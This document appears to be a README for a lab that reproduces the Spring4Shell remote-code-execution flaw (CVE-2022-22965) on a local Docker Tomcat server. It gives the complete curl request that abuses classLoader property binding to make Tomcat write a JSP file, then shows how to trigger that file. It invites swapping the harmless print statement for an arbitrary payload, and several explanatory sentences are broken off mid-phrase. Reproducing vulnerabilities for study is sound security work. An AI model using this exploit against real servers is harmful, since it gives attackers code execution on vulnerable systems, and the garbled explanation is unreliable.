
Minimal example of how to reproduce CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp file in webapps/handling-form-submission-complete on the web server.Run the Tomcat server in docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Add -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" if you want to debug remotely.
Build the project
./mvnw install
Deploy the app
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Write the exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
The exploit is going to create rce.jsp file in webapps/handling-form-submission-complete on the web server.
Use the exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Now you'll see 123 in the container's terminal. Replace System.out.println(123) with your payload to execute arbitrary code.
GreetingController handle POST requests on /greeting endpoint and binds form fields to the Greeting object.user.info.firstname). See the AbstractNestablePropertyAccessor for references.Greeting class has two fields id and content, but actually it also has a reference to the Class object. We can use class.module.classLoader as a form data key to access the classloader.module one.Greeting class. Nothing else. In most of the cases it is not even dangerous because no classes with public fields are available even from .The exploit works only on Tomcat because it has special classloader. Although the similar reference chain may exist on other web application servers as well. It is not simply discovered yet.
The exploit requires Java 9 or above because module property was added in Java 9.
class.module.classLoader.getResources accessor which allows us to continue the reference chain and access one of the instances of the AccessLogValve class.jsp file with in the root of the application folder with the malicious payload. As far as jsp are automatically executed by the Tomcat we can navigate to it in the browser and eventually execute the payload. Now it is RCE.